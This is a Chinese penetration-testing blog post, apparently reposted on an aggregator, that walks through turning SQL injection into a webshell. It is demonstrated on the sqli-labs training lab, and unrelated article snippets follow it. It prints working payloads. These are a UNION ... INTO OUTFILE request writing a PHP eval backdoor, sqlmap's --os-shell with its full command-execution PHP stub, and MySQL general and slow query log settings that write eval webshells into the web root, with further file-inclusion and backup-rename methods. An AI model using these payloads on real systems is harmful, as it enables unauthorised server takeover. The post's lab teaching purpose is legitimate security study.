news 2026/7/18 10:33:28

渗透测试之利用sql拿shell(附完整流程)【全】

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
渗透测试之利用sql拿shell(附完整流程)【全】

导读:

时刻保持谦逊,始终保持学习,探寻事物的本质,不要把事情复杂化

目录:

  • 前言
  • 流程
  • 通过into outfile进行文件写入
  • 利用sqlmap
  • 利用日志getshell

  • 利用文件包含漏洞getshell

  • 利用数据库备份getshell

前言:

为什么SQL注入能拿Shell?

SQL注入的本质是通过恶意SQL语句操控数据库,而部分数据库支持执行系统命令或写入文件。若能利用注入点向Web目录写入一句话木马,即可通过中国菜刀/蚁剑连接获取Shell。

流程:

寻找SQL注入点 → 判断数据库类型 → 获取Web路径 → 写入WebShell → 连接shell

一、通过into outfile进行文件写入

利用条件:

  1. 拥有网站的写入权限
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

注:

Secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL。

  • secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

实际操作:

(1)查看secure-file-priv参数的值
show global variables like '%secure%';

(2)修改secure_file_priv 的值

windows下:修改my.ini 在[mysqld]内加入secure_file_priv =

linux下:修改my.cnf 在[mysqld]内加入secure_file_priv =

在mysql/my.ini[mysqld]中查看是否有secure_file_priv 的参数,没有的话加上secure_file_priv =即可,再查看secure_file_priv的值如下已经变为空了 。

(3)写入shell(以sqli-labs第七关为例)
1、判断注入点

通过输入?id=3')) and sleep(3) --+时成功延时,发现存在注入点就为3'))

2、判断列数

通过order by 3 回显正常、order by 4报错,判断为3列

3、写入shell

http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-7/?id=-3')) union select 1,<?php @eval($_POST['test']); ?>,3 into outfile 'C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\outfile.php' --+

4. 连接webshell

使用蚁剑连接成功

二、利用sqlmap

利用条件:

  1. 拥有网站的写入权限,能够使用单引号
  2. 知道网站的绝对路径
  3. Secure_file_priv参数为空或可写目录(在mysql/my.ini中查看)

实际操作: (以sqli-labs第一关为例)

sqlmap.py -u "http://xxx?id=1" --sql-shell //进入命令行
(1)查看文件路径

select @@datadir; //(mysql/data的路径,根目录一般与mysql处于同一目录)

(2)查看secure_file_priv 参数值

select @@secure_file_priv //若为空则什么都不显示,若为NULL则显示NULL

(3)写入shell
1、--os-shell

(通过udf提权写入shell,也是通过into oufile向服务器写入两个文件,一个可以直接执行系统命令,一个进行上传文件)

2、选择语言

3、填写文件路径

sqlmap在指定的目录生成了两个文件(文件名是随机的,并不是固定的):

  • tmpbuwzg.php用来执行系统命令
  • tmpunynt.php用来上传文件

tmpbuwzg.php文件内容为:

<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1\n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
4、成功访问

访问 tmpbuwzg.php并利用cmd执行命令

访问tmpunynt.php上传文件,正常上传木马连接即可。

三、利用日志getshell

利用条件:

  1. 拥有网站的写入权限
  2. 知道网站的绝对路径
  3. 数据库日志开启

实际操作:

(1)查看数据库日志是否开启以及路径
show variables like '%general%';

(2)开启日志功能

修改general_log的值为ON

set global general_log = "ON";

修改文件路径;注意路径用两次\\进行转义

set global general_log_file="C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW\\shell.php"

(3)写入shell
select '<?php @eval($_POST['test']);?>';

(4)成功连接shell

四、利用慢查询getshell

慢查询日志:当查询语句执行的时间要超过系统默认的时间时,该语句会被记入慢查询日志。

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

利用条件:

  1. 拥有网站的写入权限
  2. 知道网站的绝对路径
  3. 数据库慢查询日志开启

实际操作:

(1)查看日志状态
show global variables like '%long_query_time%';

通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不容易引起管理员的察觉。

(2)开启日志功能
set global slow_query_log = "ON";

填写文件路径

set global slow_query_log_file ="C:\\Penetration\\TrafficTools\\phpStudy\\PHPTutorial\\WWW/shell1.php"

(3)在查询语句中写入一句话木马并延时10秒以上:
select "<?php @eval($_POST['test']);?>" or sleep(12);
(4)成功连接shell

五、利用文件包含漏洞getshell

对于phpmyadmin来说有一种特殊的机制,所有SQL的执行操作将存入session。

所以,如果目标站点存在文件包含漏洞,我们可以通过包含session文件来拿shell。

配合站点文件包含漏洞进行shell连接 即可

六、利用数据库备份getshell

网站对上传的文件后缀进行过滤,如不允许上传脚本类型文件如asp/php/jsp/aspx等。

而网站具有数据库备份功能,这时我们就可以将webshell格式先改为允许上传的文件格式,如jpg、gif等,然后,我们找到上传后的文件路径,通过数据库备份,文件备份为脚本格式。(重点是路径找对)

防御方案:

通过本文可以发现,SQL注入写入shell需要满足几个条件,根据条件来进行对应防御措施即可,具体请见下节。渗透测试之利用sql注入拿shell防御方案-CSDN博客

文中如有错误,还请各位大佬批评指正,感激不尽!

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/18 10:33:14

遥感概念一句话说清楚概念(二)

目录一、各种分辨率二、遥感数字图像的存储方式三、直方图一、各种分辨率 **空间分辨率&#xff1a;**指图像上能够独立区分的最小单元的尺寸或大小。 **光谱分辨率&#xff1a;**指遥感器所选用的波段数量&#xff0c;各波段的波长位置及波段间隔&#xff0c;即选择的通道数、…

作者头像 李华
网站建设 2026/7/18 10:33:10

CANN/asc-devkit:int2half_rn_sat函数

__int2half_rn_sat 【免费下载链接】asc-devkit 本项目是CANN 推出的昇腾AI处理器专用的算子程序开发语言&#xff0c;原生支持C和C标准规范&#xff0c;主要由类库和语言扩展层构成&#xff0c;提供多层级API&#xff0c;满足多维场景算子开发诉求。 项目地址: https://gitc…

作者头像 李华
网站建设 2026/7/18 10:30:53

STM32驱动1.8寸TFT_LCD基于 “软/硬SPI协议”

一、简介本章讲解模拟SPI和硬件SPI驱动方式&#xff0c;模拟SPI可以使用任意GPIO进行模拟&#xff0c;比较灵活&#xff0c;但是速率和稳定性不如硬件SPI&#xff0c;硬件SPI由单片机硬件自主完成时序&#xff0c;在资源充足情况下推荐使用硬件SPI。二、TFT_LCD模块介绍2.1 简介…

作者头像 李华
网站建设 2026/7/18 10:30:23

终极指南:yuzu模拟器带你解锁Switch游戏PC体验的完整奥秘

终极指南&#xff1a;yuzu模拟器带你解锁Switch游戏PC体验的完整奥秘 【免费下载链接】yuzu 任天堂 Switch 模拟器 项目地址: https://gitcode.com/GitHub_Trending/yu/yuzu 你是否曾梦想过在电脑上畅玩任天堂Switch的精彩游戏&#xff1f;yuzu模拟器正是实现这一梦想的…

作者头像 李华